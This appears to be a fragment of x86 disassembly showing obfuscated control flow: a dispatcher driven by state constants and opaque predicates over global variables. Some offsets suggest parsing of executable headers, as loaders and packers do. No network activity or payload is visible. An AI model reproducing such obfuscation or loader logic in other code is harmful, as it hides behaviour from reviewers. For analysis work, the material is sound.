cmp ecx, 0xffffffff
mov ecx, 0xd505c587
sete al
cmove ecx, esi
cmp dword [0x4b3444], 0xa
setl dl
cmovge ecx, edi
xor dl, al
cmovne ecx, esi
mov eax, ecx
jmp 0x4017d0
mov eax, dword [ebp - 0x4c]
mov edi, 0xfeb84eec
mov esi, 0x38f35adb
mov dword [eax], 4
mov eax, dword [0x4b3448]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x38f35adb
jmp 0x4017a7
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
sub eax, dword [ecx + 0x34]
mov dword [ebp - 0x158], eax
mov eax, 0x5485ef46
jmp 0x4017d0
mov eax, dword [ebp - 0x4c]
mov dword [eax], 4
mov eax, 0x536601f1
jmp 0x4017d0
mov edx, dword [0x4b3448]
mov eax, dword [0x4b3444]
mov esi, 0x88c158d5
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xf31be809
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
cmovge ecx, edx
mov eax, ecx
jmp 0x4017d0
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x4c]
mov eax, 0xc11827a6
jmp 0x4017d0
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x50]
mov dword [ecx], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, 0xab51d2b4
jmp 0x4017d0
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x50]
mov esi, 0x18f23af7
mov dword [ecx], eax
mov eax, dword [ebp - 0x78]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x78]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x78]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov edx, dword [0x4b3448]
mov ecx, dword [0x4b3444]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x9f5306d2
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x1c]
cmovge eax, edx
mov ecx, dword [ecx]
mov dword [ebp - 0x108], ecx
jmp 0x4017d0
cmp eax, 0x6c866120
jne 0x4017d0
mov esi, dword [ebp - 0x1e0]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.0043b9a0
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret